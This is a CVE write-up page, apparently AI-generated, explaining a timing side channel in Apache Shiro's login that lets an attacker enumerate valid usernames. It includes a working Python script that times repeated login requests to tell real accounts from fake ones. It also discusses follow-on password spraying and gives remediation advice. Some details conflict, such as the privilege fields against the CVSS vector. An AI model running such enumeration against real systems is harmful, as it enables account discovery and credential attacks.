CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-23901
1.00.01%

The Telltale Heartbeat: Timing Leaks in Apache Shiro

Alon Barad
Alon Barad
Software Engineer

Feb 10, 2026·6 min read·8 visits

PoC Available

Executive Summary (TL;DR)

Apache Shiro versions prior to 2.0.7 leak the existence of valid usernames via timing discrepancies. When a user exists, the system performs expensive password hashing; when they don't, it returns immediately. Attackers can measure this difference to build a list of valid accounts. Fix: Upgrade to 2.0.7.

Apache Shiro, a ubiquitous Java security framework, inadvertently implemented a classic side-channel vulnerability: the timing oracle. By optimizing the authentication flow to 'fail fast' when a username doesn't exist, the framework created a measurable time discrepancy compared to the computationally expensive process of verifying a valid user's password. This allows attackers to perform username enumeration by simply watching the clock.

The Hook: When Milliseconds Betray You

In the world of high-performance computing, we are taught that speed is king. We optimize loops, cache database queries, and return errors the moment we detect them. This 'fail-fast' philosophy is usually a badge of honor for backend developers. But in the dark corners of cryptography and authentication, efficiency is a traitor.

Apache Shiro, the Swiss Army knife of Java security, fell into this exact trap. For years, it has been guarding the doors of enterprise applications, handling everything from LDAP integration to session management. It’s a robust framework, but CVE-2026-23901 reveals a subtle flaw in its armor: it talks too much, not with words, but with time.

Imagine a bouncer at a club. If you're on the list, he takes 30 seconds to carefully inspect your ID, check the hologram, and pat you down. If you aren't on the list, he immediately shouts 'Beat it!' and kicks you out in 1 second. If I'm standing across the street watching, I don't need to hear the conversation to know who made the list. I just have to count. That is exactly what is happening here.

The Flaw: A Tale of Two Paths

The vulnerability lies deep within the AuthenticatingRealm and its subclasses. This is the component responsible for taking a user's login attempt and verifying it against a data source. The logic seems innocent enough: verify the user exists, then verify their credentials match.

However, modern password storage doesn't just 'match' strings. We use Key Derivation Functions (KDFs) like bcrypt, Argon2, or PBKDF2. These algorithms are deliberately slow and CPU-intensive to thwart brute-force attacks. Hashing a password might take 200-500 milliseconds depending on the work factor.

Here is the fatal flaw in the logic flow:

  1. Path A (User Unknown): The system queries the database. The result is null. The system throws an UnknownAccountException. Total time: Database latency (~5ms).
  2. Path B (User Exists, Wrong Password): The system queries the database. User found. The system retrieves the stored hash. It then runs the expensive KDF on the input password to compare it. Total time: Database latency (~5ms) + KDF (~300ms).

The difference is massive in computer time. It's the difference between a hiccup and a nap. Because Shiro returned early in Path A, it handed attackers a binary oracle: Fast response = Bad Username; Slow response = Good Username.

The Code: Examining the Logic Gap

Let's look at a simplified representation of the vulnerable logic. This isn't the exact source code, but it represents the architectural flow that causes the issue.

// VULNERABLE LOGIC (Simplified)
public AuthenticationInfo getAuthenticationInfo(AuthenticationToken token) {
    String username = token.getPrincipal();
    
    // Step 1: Lookup User (Fast DB call)
    Account account = accountDataSource.findByUsername(username);
    
    // THE BUG: Early Exit
    if (account == null) {
        // Returns immediately (~5ms total execution)
        throw new UnknownAccountException();
    }
 
    // Step 2: Verify Credentials (Slow Crypto)
    // This involves bcrypt/Argon2 hashing (~300ms total execution)
    if (!passwordService.passwordsMatch(token.getCredentials(), account.getPassword())) {
        throw new IncorrectCredentialsException();
    }
 
    return account.getAuthInfo();
}

To fix this, we have to do something counter-intuitive: we have to waste time on purpose. If the user doesn't exist, we must perform a 'dummy' hash operation that takes roughly the same amount of time as a real verification. This ensures that T(UserUnknown) ≈ T(UserKnown).

// PATCHED LOGIC (Concept)
public AuthenticationInfo getAuthenticationInfo(AuthenticationToken token) {
    Account account = accountDataSource.findByUsername(username);
    
    if (account == null) {
        // FAKE IT: Run the expensive hash on garbage data
        // so the attacker can't time the difference.
        passwordService.hash("dummy_data"); 
        throw new UnknownAccountException();
    }
 
    // Real verification
    if (!passwordService.passwordsMatch(...)) {
        throw new IncorrectCredentialsException();
    }
    
    return account.getAuthInfo();
}

This is known as 'Constant Time' programming, although in high-level languages like Java, 'constant' is aspirational. We settle for 'indistinguishable within network jitter margins'.

The Exploit: Clock Watching

Exploiting this requires statistical analysis. A single request might be noisy due to network jitter, garbage collection, or database load. To exploit this reliably, we use the Law of Large Numbers.

Here is how an attacker weaponizes this:

  1. Baseline: Establish a baseline 'fast' response time by sending a username guaranteed not to exist (e.g., NON_EXISTENT_USER_UUID).
  2. Target List: Load a list of common usernames (admin, root, jsmith).
  3. Spray & Measure: Send 50-100 login requests for each target username with a dummy password.
  4. Analyze: Calculate the median response time for each username. Any username with a median time significantly higher (e.g., > 2 standard deviations) than the baseline is valid.
import requests
import time
import numpy as np
 
target_url = "http://vulnerable-shiro.local/login"
wordlist = ["admin", "test", "dev", "prod", "root"]
 
def measure_time(username):
    timings = []
    for _ in range(20): # 20 samples per user
        start = time.perf_counter()
        requests.post(target_url, data={'user': username, 'pass': 'invalid'})
        timings.append(time.perf_counter() - start)
    return np.median(timings)
 
# Baseline
baseline = measure_time("uuid-random-string-definitely-not-real")
print(f"Baseline (User Not Found): {baseline:.4f}s")
 
# Attack
for user in wordlist:
    avg_time = measure_time(user)
    if avg_time > (baseline * 1.5): # Threshold dependent on hashing cost
        print(f"[+] VALID USER FOUND: {user} ({avg_time:.4f}s)")
    else:
        print(f"[-] Invalid: {user}")

In a local network or a low-latency environment, this script lights up valid accounts like a Christmas tree.

The Impact: Why the Low Score?

You might notice the CVSS score is a laughable 1.0. Why? Because CVSS v4.0 is notoriously strict about 'Attack Requirements'. For this attack to work reliably over the public internet, the timing difference usually needs to be significant enough to overcome the random noise (jitter) of the internet itself.

However, do not dismiss this. In an internal network penetration test, this is a silver bullet. Knowing valid usernames allows an attacker to:

  1. Brute Force: Stop wasting time guessing passwords for users that don't exist.
  2. Password Spraying: Attempt one common password (e.g., Summer2026!) against all valid accounts without locking them out.
  3. Social Engineering: Target specific valid users with phishing emails.

It is the difference between firing a machine gun into the dark and using a sniper rifle with night vision.

The Fix: Upgrade or Obfuscate

The remediation is straightforward: Upgrade to Apache Shiro 2.0.7. The maintainers, specifically Lenny Primak, have implemented the necessary logic to normalize the timing of authentication failures. They effectively ensure that UserNotFound and BadPassword take the same amount of CPU time.

If you cannot upgrade immediately, you have two messy options:

  1. WAF Rate Limiting: Aggressively rate-limit login attempts. If an attacker can only send 1 request per second, gathering statistical data for 100 usernames becomes a multi-day operation, increasing the chance of detection.
  2. Generic Errors: While this doesn't fix the timing, ensure your UI returns generic 'Invalid username or password' messages. Do not help the attacker by printing 'User not found' in the HTML, which would make the timing attack redundant anyway.

But seriously, just upgrade the JARs. It's Java; you're used to dependency hell anyway.

Official Patches

ApacheApache Mailing List Announcement

Technical Appendix

CVSS Score
1.0/ 10
CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/S:N/AU:Y/R:A/V:C/RE:L/U:Green
EPSS Probability
0.01%
Top 98% most exploited

Affected Systems

Apache Shiro 1.x (All versions)Apache Shiro 2.x (Versions < 2.0.7)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Apache Shiro
Apache Software Foundation
< 2.0.72.0.7
AttributeDetail
CWE IDCWE-208
Attack VectorLocal / Adjacent Network
CVSS v4.01.0 (Low)
Attack ComplexityHigh (Requires statistical analysis)
Privileges RequiredNone
User InteractionNone

MITRE ATT&CK Mapping

T1589.002Gather Victim Identity Information: Email Addresses
Reconnaissance
T1110.003Brute Force: Password Spraying
Credential Access
CWE-208
Observable Timing Discrepancy

The product performs a comparison or other operation that takes a variable amount of time depending on the input, allowing an attacker to determine the input's validity.

Known Exploits & Detection

Internal AnalysisConcept of timing attacks described in Shiro documentation.

Vulnerability Timeline

Advisory posted to oss-security
2026-02-08
CVE Published
2026-02-10

References & Sources

  • [1]OSS-Security Advisory
  • [2]CVE Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.